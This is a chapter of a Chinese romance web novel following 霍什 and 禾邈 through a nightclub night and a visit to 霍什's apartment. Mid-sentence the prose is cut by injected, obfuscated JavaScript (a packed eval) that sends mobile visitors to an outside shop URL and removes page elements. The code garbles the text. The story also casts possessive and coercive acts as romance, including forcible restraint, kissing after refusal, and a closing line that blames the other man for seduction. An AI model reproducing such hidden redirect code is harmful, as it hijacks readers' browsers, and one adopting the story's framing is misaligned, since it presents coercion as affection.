霍什神情一僵,咬住犬齿,目光直直盯住禾邈,
他是不明白谈恋爱的意思,还是在拒绝我。
只能抓回去了,供奉他一辈子,他眼里只能有我。
霍什抓起禾邈手腕,或许是痛了,他愕然地看着自己。
如果不是爱,那就恨我一辈子吧。
禾邈也握住男人的手腕,笑着说:“我要去夜店。”
“夜店?”霍什松了松手。
“对啊,艾弗里说要多跟人沟通,夜店就很多人,”禾邈和秦明煦聊天期间,他查了大家爱去玩的地方,说,“我还没去过呢。”
禾邈查过夜店消费,他手上的钱是够的,要提升技能,这是必要投入。
“那里有人斗殴、酗酒,嘈杂不是什么好地方,你不应该去。”霍什说。
“可是大家都喜欢去那玩,”禾邈双手握住男人的手,摇了摇,“你跟我去嘛。”
霍什对上心上人的笑颜,他眼里是对自己纯然的信任。
他知道我这些肮脏的念头,就不会露出这样的笑容。
会失望,嫌恶,逃跑……
既然要独占他的目光,卑鄙些又怎样。
“吃完饭再去。”霍什错开他的目光。
“去吃汉堡吧,我付钱!”禾邈说。
“好。”霍什说。
“你刚才是不是要生气了。”禾邈说。
“对不起,还疼么?”霍什轻揉他泛红的手腕。
“不疼啦,”禾邈用肩膀去撞他的手臂,说,“就这么喜欢和我吃饭啊?”
“嗯,喜欢,很喜欢。”霍什握紧他。
“我知道。”禾邈笑着去拍拍他的脑袋。
刚才大块头紧紧地抓住自己的样子,很委屈呢,像害怕被抛弃的小狗。
他眼里有很多自己读不懂的情绪,还好他们有很多时间,今天看不透的事情,以后一点一点的去了解。
来接他们去夜店的,还是上次的车。
霍什说带他去环境好的夜店。
禾邈认出了司机,那位司机说自己缺钱跑单很勤,很多顾客会觉得他眼熟。
禾邈也没多想,只是摆出少年老成的样子,感叹了句,生活不易啊。
他问司机要不要算卦,给他算财运转机。
雷蒙通过后视镜看了自家少爷一眼后,笑着婉拒了禾邈提议。
谁知道禾邈能算出什么,万一算出他和少爷的关系,岂不是搅乱少爷的计划。
按理说,要装穷就不应该再让他来接,露出这种明显的破绽。
除非少爷觉得他们感情到了可以坦诚的程度,通过潜移默化的方式,让禾邈慢慢地接受少爷的身份。
起初他以为少爷只是看中算卦能力,才去接近禾邈,现在看来并非如此。
这段时间少爷白天陪他玩闹,晚上学做菜,再通宵处理公事。
不能直接给钱,就投资办了场通灵比赛,让他赢得奖金。
少爷不像老爷,用暴力极端的方式留住爱人,而是像夫人那样,对爱人温柔克制,包容宠溺。
雷蒙有种自家孩子没有长歪的自豪感。
他们在夜店门前下车,受到了门前排队的人注视。
来到这里的人穿着时尚,众人看他们的原因,一是因为豪车,二是因为他们穿着普通,与现场格格不入,夜店卡颜卡穿着,按理说他们是不可能进去的。
不少人抱着幸灾乐祸的心态,想看他们被挡在门外。
禾邈第一次来夜店,对这里感到好奇,下车就拉住男人的手。
看到大家在排队,他带着男人往队尾走。
“不用排队,”霍什拉住他,说,“抱住我。”
禾邈查过有些夜店,情侣入场会有折扣。
禾邈立马抱住霍什的胳膊,仰起脸,下巴抵在他手臂上,眼里泛起精光,整个人狡黠又可爱。
“是要装情侣么?”
“嗯。”霍什搂紧他的腰,两人又贴近了些。
霍什带他走到门口,保安只是看了他们一眼,一句话都没说侧过身,让他们进去。
准备看戏的人深吸一口气,没想到他们没被盘问,居然这么顺利的进去了。
他们走了一小段路,节奏感极强的DJ越来越响,前方有人给他们揭开幕布。
禾邈“哇”了一声,好多人啊。
全场满是暗红的灯光,蓝白色的光束闪烁,众人在舞池中扭动舞蹈,暧昧的光线晃过他们的脸,露出的尽是欢愉。
心脏跟着音乐鼓点跳动,禾邈被现场氛围感染,兴奋拉起霍什往舞池中走。
禾邈不知道怎么跳舞,就看周围的人抚摸彼此的身体,这一看他陷入迷茫。
要两个贴在一起跳吗?怎么还有三个人的?
要亲脸颊、脖颈、胸口?还有人在接吻。
太暧昧了吧?这怎么学啊。
禾邈小个子淹没在高大的人群中,站在霍什身前都没人注意到他。
不少人以为霍什独自来跳舞,频繁贴上去,假装不经意的触碰试探霍什的反应。
霍什冷脸避开靠过来的身体,双臂护着禾邈,不着痕迹地挡住有意无意靠近他的人。
灯光昏暗禾邈自然是看不清霍什的神情,他只觉得心里不是滋味。
这些人没有舞伴么,撞过来做什么。
怎么在嗅大块头头发啊?
嘴巴都凑到肩膀了!
赶在那人亲到霍什脖颈前,禾邈双手抱了上去,恶人先告状道,“你怎么不跳舞啊。”
霍什轻笑着握住腰将他抱起来,让他双脚站到自己脚背上,带着他慢悠悠地转动,
“跳舞要这样。”
两人抱着再没人靠过来,禾邈满意的将脸颊贴在他颈侧蹭。
他们紧靠着彼此,或许是因为音乐鼓点很密,他听到男人的心跳很快。
他松开脖颈左手下滑,五指陷入胸膛,隔着衣服感受男人的心跳,
啊,跳得更快了。
男人托住他下巴,脸颊离开脖颈,他被迫抬头与男人四目相对。
男人垂下头,脸颊摩擦他温热的脸颊,嘴唇贴在耳廓,
“邈邈,今天还没给我吻面礼。”
“在,在这里啊?”禾邈说话都结巴了。
虽说这里很多人在亲吻,但总觉得和他理解的亲吻不是一回事。
要是他们这里做吻面礼,感觉很奇怪。
霍什亲吻他的脸颊,说,“抱紧我。”
还没等他反应过来,男人就托住他屁股,带他离开舞池。
双脚离开脚背,他才勾住男人脖颈,头埋在颈窝里。
自己心跳也好快啊。
躁动的音乐渐远,他们走出暧昧的红光,隐入昏暗的角落。
等禾邈回过神时,后背已经靠到墙面,男人膝盖卡在他双腿之间,他坐在男人大腿上。
霍什将他圈在怀里,外人只能看到霍什健硕的后背。
大块头,怎么这么好闻啊。
是洗衣液,还是喷了香水?
禾邈鼻尖没入大块头胸间的沟壑,鼻尖萦绕好闻的香气,他不自觉地往里挤,脸颊压到胸膛,深深吸气汲取他的气味。
男人胸膛剧烈起伏,心跳快得不像话。
他托起禾邈的下巴,声音低沉,“准备好了么?”
“嗯?”
禾邈面泛坨红,眼神迷离,像吸猫薄荷吸迷糊了。
禾邈腰腹一紧,接着被迫抬起头,承受男人细密地啄吻,急切却是温柔。
禾邈眼神涣散地望着黑乎乎地天花板,男人的头发来回扫过他下巴,痒痒的。
锁骨、脖颈湿漉漉一片,他想起以前扑过来舔他的小狗。
他低低地笑着,双手撑在男人胸膛,揉捏着鼓囊囊的温热。
没一会儿肌肉紧绷,他揉不动了。
霍什捏住禾邈的下巴,即使这样,他除了脸红了些,看自己的眼神也和往常无异。
霍什攥紧拳头,小臂浮起青筋,撑在他脸侧,
“闭眼。”
禾邈瞪大双眼看他,像在说怎么不亲了。
霍什抬起膝盖,颠了他一下。
“闭眼就看不到你了。”禾邈说。
胸膛还是硬邦邦的,怎么不放松下来啊。
灯光一闪而过,片刻间禾邈捕捉到霍什眼底翻涌着他读不懂的迷思。
禾邈缩了缩脖子,有点害怕,好像要被他吃掉了。
霍什亲了一下他的嘴角,问:“讨厌么。”
甚至都没等禾邈回答,他就换成了咬的。
禾邈眼睛像被雨雾笼罩,潮湿黏腻的感觉瞬间涌起,让他有种被溺毙的错觉。
不讨厌的,这话怎么也说不出口,隐隐感觉,回答后会有他承受不住的后果。
霍什为数不多的克制也被消耗殆尽,照着禾邈嘴唇就要吻上去。
禾邈透过男人的肩膀,看到熟悉的身影搂住另一个人啃嘴巴。
他偏过头,避开了霍什的吻,
“奥德?”
黏腻的氛围顷刻间消失了,霍什单手掐住他的脸颊,迫使他抬头看自己,
“我是谁。”
脸颊的疼痛让禾邈彻底清醒过来,
“我看到奥德,他搂住别人出去了!”
霍什没管他小嘴巴叭叭什么,还想吻上去。
“快跟上去,”禾邈双手捂住他的嘴,说,“那人不像明煦。”
耐不住霍什力气大,禾邈怎么也推不开,情急之下,抽了他下巴一巴掌。
这么一闹,旖旎的氛围荡然无存。
霍什眸色沉沉,后槽牙都要咬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17830940|211327||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
碎了。
禾邈眼里哪有霍什,他光顾着紧盯远处搂搂抱抱的两人,没看到霍什一脸没吃到,要开-荤的饥-渴。
见男人还不动,禾邈以为他没听见,扯过他的耳朵,说:“放开我。”
霍什叹了口气,退出他双腿之间。
禾邈刚双脚沾地就往他们消失的走,才走出两步,发现霍什没跟上来,又回身去拉他的手腕,
“快走啊。”
禾邈就像牵着正跟主人怄气的大型犬,走几步都费劲。
还好通道尽头就一道直通后巷的门。
禾邈握住门把,怎么使劲也推不开。
霍什看不过去了,抓住门把手往里拉,打开了门口。
门口打开的瞬间,禾邈听到细微吞咽声,还没等他去看巷子里的情况。
霍什探出去的半个身子已经回到门内,并把门关上,不让他去看。
禾邈一脸莫名其妙地看他,说:“他们在做什么?”
“接吻。”霍什说。
“是明煦么?”禾邈又问。
“不是。”
禾邈沉默了,霍什感觉他情绪不对,抱起他走出夜店。
禾邈安静地伏在他肩头,思考明煦和奥德的关系。
明煦这么好,谁会不喜欢他。
奥德为什么还要和别人一起?
喜欢又应该是怎样的呢?
走出夜店,禾邈就让霍什放他下来,两人牵手漫无目的走着。
夜晚,街道路人熙熙攘攘,有的人行色匆匆,有的人在路灯下拥吻。
禾邈看着路灯下的两人,问:“他们是情侣么?”
“嗯。”霍什说。
长辈亲戚、朋友间表达喜欢,会拥抱,亲脸。
只有相爱的恋人才能接吻。
那位富人曾经告诉他,
‘你想与某人亲吻,那就是喜欢。’
大块头问“讨厌么”的时候,他好像短暂的期待过什么。
禾邈抱住霍什的胳膊。
霍什以为他累了,说:“要回宿舍么?”
他不想回去,但也不想去夜店。
去明煦家?刚才的事应该和他说么。
要不要先问老钟,可他不喜欢管别人的事。
要装作没看到么?
他脑子乱乱的,既不想回宿舍问老钟,又不能去明煦怕自己憋不住话,可是他还能去哪呢?
“现在回去?”霍什又问。
对了,他还没去过大块头家呢。
禾邈脸颊蹭了蹭他的手臂,“我想去你家。”
霍什眼神极其微妙,捏起他的下巴,“你确定?”
“不可以么?”禾邈问。
在朋友家住一晚很正常吧,明煦也让他住啊。
“可以,”霍什打电话让雷蒙马上来接他们,挂完电话又说,“我先去买东西。”
霍什给禾邈买了一个雪糕,让他坐在便利店门外等他。
他就坐在外面边吃,边通过玻璃窗看大块头在货架中穿梭,拿了牙刷、毛巾,应该都是给他准备的。
但是内裤怎么拿起来又放下了?可能是他家里还有吧。
最后结账还拿了几盒东西,看不清是什么。
霍什出来时候,车也到了。
在车里,禾邈心不在焉地吃雪糕,
“今晚的事情,应该和明煦说么?”
“那是他俩的事情,没必要多说。”
化掉的冰激凌滴到手背,霍什拿纸巾给他擦掉。
“是么。”禾邈突然没了胃口,把冰激凌推给男人。
可他觉得自己应该做点什么。
不知道是不是错觉,禾邈觉得车开得比平时快,没一会到了公寓。
霍什打开门带他走上二楼,一楼的空间是咖啡店的,二楼只有一户住宅。
霍什在他身后按门锁密码,也不遮掩,推开门让他先进去。
禾邈脱掉鞋子,没穿拖鞋绕过玄关柜就看到客厅。
霍什住的地方比秦明煦的大很多,这是禾邈没想到的。
“洗澡么?”霍什问。
“先不洗。”禾邈说。
他都是准备睡觉再洗澡。
听到身后窸窸窣窣的声音,禾邈一转身就见男人把上衣甩到地面。
宽阔的肩膀,紧实的腰腹,肌肉的轮廓在光线下清晰得有些晃眼。
禾邈咽了咽口水,他第一次看到男人没穿上衣,身材比他想象中的,好很多。
“你很热吗?我去开空调。”
禾邈绕过霍什往门口走,直觉告诉他要马上逃跑。
男人扯住他的衣领,接着一个天旋地转,他背后紧贴墙面,拒绝的话被狠狠堵回嘴里。
霍什扣住他手腕举到头顶,
“是你先勾引我的。”